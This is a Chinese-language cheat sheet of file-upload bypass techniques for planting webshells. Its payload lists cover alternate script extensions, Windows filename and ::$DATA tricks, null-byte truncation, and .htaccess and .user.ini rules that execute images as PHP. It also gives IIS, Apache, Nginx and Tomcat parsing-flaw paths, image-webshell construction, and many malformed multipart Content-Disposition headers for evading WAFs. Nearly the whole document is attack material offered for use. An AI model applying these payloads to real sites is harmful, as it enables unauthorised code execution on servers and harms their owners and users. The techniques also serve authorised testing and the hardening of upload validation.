文件上传-Bypass

js前端校验就不说了,前端一般只验证后缀名,抓包改即可

常见content-type

1、text开头
text/html: HTML格式
text/plain:纯文本格式
text/xml: XML格式
2、图片格式
image/gif :gif 图片格式
image/jpeg :jpg 图片格式
image/png:png 图片格式
3、application开头
application/xhtml+xml:XHTML 格式
application/xml:XML 数据格式
application/atom+xml:Atom XML 聚合格式
application/json:JSON 数据格式
application/pdf:pdf 格式
application/msword:Word 文档格式
application/octet-stream:二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded:表单发送默认格式
4、媒体文件
audio/x-wav:wav文件
audio/x-ms-wma:w文件
audio/mp3:mp3文件
video/x-ms-wmv:wmv文件
video/mpeg4:mp4文件
video/avi:avi文件

后缀校验

黑名单

可解析后缀

image-20240221134159852

php:  Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml
asp:  asp、aspx、asa、asax、ascx、ashx、asmx、cer
jsp:  jsp、jspa、jspx、jsw、jsv、jspf、jhtml

fuzz工具:https://github.com/c0ny1/upload-fuzz-dic-builder

python2 upload-fuzz-dic-builder.py -n test -a jpg -l php -m apache --os win -o upload_file.txt

利用系统特性

貌似主要是windows,常见的:1、大小写 2、点绕过(. 或者 .空格.) 3、空格绕过 4、::$DATA绕过

Windows 下文件名结尾加入<>>>>_0x81-0xff等字符,最终生成的文件均被 windows 忽略。

shell.pHp
shell.php. 
shell.php. .
shell.php_
shell.php空格 
shell.php:1.jpg 
shell. php::$DATA 

php

后缀名:.php3 ,.php5,.php7
大小写:pHp
解析漏洞:
1.php.jpg
1.jpg.php
1.php  jpg(jpg前面两个空格)
1.php jpg(jpg前面一个空格)
/1.jpg/1.php
/1.jpg%00.php
/1.jpg/.php
/1.jpg/php

jsp

.jsp.jpg.jsp-用两个jsp包围中间的jpg
后缀名:jspf,jspa,jsps

asp

解析漏洞:
.asp;.jpg
.asp.jpg
.asp;jpg
+111.asp;+222.jpg
/111.asp/1.jpg
/111.aspx/1.jpg
后缀名:
asa,cer,cdx,ashx,asmx,xml,htr,asax
双文件扩展:
test.asp.jpg
RTLO:
asp.html-内容为一句话
php.txt-内容为一句话

白名单

截断

截断原理:由于00代表结束符,所以会把00后面的所有字符都截断

截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态

1.直接加%00 如 1.php%00
2.二进制x00  去bp16进制里改00

解析漏洞

一、重写解析规则

浅析.htaccess和.user.ini文件上传

==.htaccess==

.htaccess的配置文件只能在Apache服务器中起作用

<FiileMatch ".jpg">
SetHandler application/x-httpd-php
AddHandler php5-script .jpg
</FiileMatch>

==.user.ini==

条件

  • 服务器脚本语言为PHP 服务器使用CGI
  • FastCGI模式
  • 上传目录下要有可执行的php文件

是php里ini文件的一种,和php.ini不同,他是可以动态加载的,无需重启中间件即可生效

auto_prepend_file=1.gif    # 要访问的文件加载之前加载,
或者
auto_append_file=1.gif # 要访问的文件加载之后加载

上传一个包含webshell代码的1.gif:

访问本目录下任意文件就可以实现命令执行

虽然.user.ini也有限制条件,但是相比.htaccess的用于更加广泛,不仅适用于Apache,还可以在Nginx上操作。 除此之外,还可以利用.user.ini进行隐藏后门,在php目录下留下图片马。

二、中间件解析漏洞

IIS
一共有三个解析漏洞:
1. IIS 6.0 文件解析 xx.asp;.jpg
2. IIS 6.0 目录解析 xx.asp/1.jpg(xx.asp命名的文件夹里的文件都将会被当成ASP文件执行)
3. IIS 7.5 畸形解析 xxx.jpg/x.php(传一个jpg,后面写/x.php这种目录,会把jpg当php解析)

Apahce
1. %0a (CVE-2017-15715)
2. 未知后缀 test.php.xxx
3.test.php.a.b  (apache解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断)

后缀不识别:1.php.php123
配置错误:1.php.jpg

nginx
解析漏洞有三个:
1. 访问链接加 /xxx.php,即 test.jpg/xxx.php
2. 畸形解析漏洞 test.jpg%00xxx.php
3. CVE-2013-4547 test.jpg(非编码空格)\0x.php

tomcat
用于上传绕过的有三种,部分限制在 windows 操作系统下。
1. xxx.jsp/
2. xxx.jsp%20
3. xxx.jsp::$DATA

包含

传个图片然后包含

内容

文件头

文件内容带上二进制文件头

 GIF:47 49 46 38 39 61 
 png:89 50 4E 47 0D 0A 1A 0A 
 JPG:FF D8 FF E0 00 10 4A 46 49 46

图片马

如果用getimagesize、php_exif判断上传图片类型,直接传图片马就可以绕过

一般解析图片马需要结合解析漏洞或者文件包含才能解析图片马

copy a.png /b + a.php /a 3.php  
/b:指定以二进制格式复制、合并文件,用于图像或者声音类文件
/a:指定以ascii格式复制、合并文件用于txt等文本类文件

WAF

有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。

构造一个大文件,前面1M的内容为==垃圾内容==,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验

二次渲染

目前很多网站都会对用户上传的图片再次压缩、裁剪等渲染操作(如PHP中的imagecreatefromjpeg()等函数),所以普通的图片马都难逃被渲染的悲剧。

经常是白名单+二次渲染的情况下,我们二次渲染传入图片马再找包含或者解析漏洞。

https://www.cnblogs.com/1ink/p/15115240.html

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,

将 Webshell 代码插在该部分,然后上传。具体实现需要自己编写 Python 程序,人工尝试基本是不可能构造出能绕过渲染函数的图片 webshell 的。

  • GIF

    渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可
  • PNG

    PNG 没有 GIF 那么简单,需要将数据写入到 PLTE 数据块 或者 IDAT 数据块
  • JPG

    JPG 需要使用脚本将数据插入到特定的数据块,而且可能会不成功,所以需要多次尝试 

参考:

其他

条件竞争

  • 利用条件竞争删除文件时间差绕过。
  • 在脚本运行的时候,访问 Webshell

绕WAF

  • 在恶意代码前加==垃圾数据==;
  • 在数据包前加垃圾数据;
  • 在Content-Disposition参数后面加垃圾数据;
  • ==多加一个filename==;
  • ==更改HTTP请求方法==;
  • ==双写后缀==
  • 删除实体里面的Conten-Type字段; 第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。
  • 删除Content-Disposition字段里的空格
  • 增加一个空格
  • 修改Content-Disposition字段值的大小写
  • 文件名后缀处回车
  • 多个Content-Disposition

多个filename

早期版本安全狗,可以多加一个filename

Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"

最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

交换name和filename的顺序

规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。

Content-Disposition: form-data; filename="xx.php"; name=file_x

去掉引号,双引号变成单引号

Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'

单引号、双引号、不要引号,都能上传。

大小写

对这三个固定的字符串进行大小写转换

  • Content-Disposition

  • name

  • filename

    空格

    在: ; =添加1个或者多个空格。

去掉或修改Content-Disposition值

有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。

Content-Disposition: name='file_x'; filename='xx.php'

多个boundary

最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt"
Content-Type: text/javascript

------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.php"
Content-Type: text/javascript

多个分号

文件解析时,可能解析不到文件名,导致绕过。

Content-Disposition: form-data; name="file_x";;; filename="test.php"

Header在boundary前添加任意字符

PHP支持,JAVA报错

Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

filename换行

PHP支持,Java不支持

Content-Disposition: form-data; name="file_x"; file
name="test.php"

name和filename添加任意字符串

PHP支持,Java不支持

Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";

POST/GET

有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。 此种情况可以上传一个POST型的数据包,抓包将POST改为GET。

0%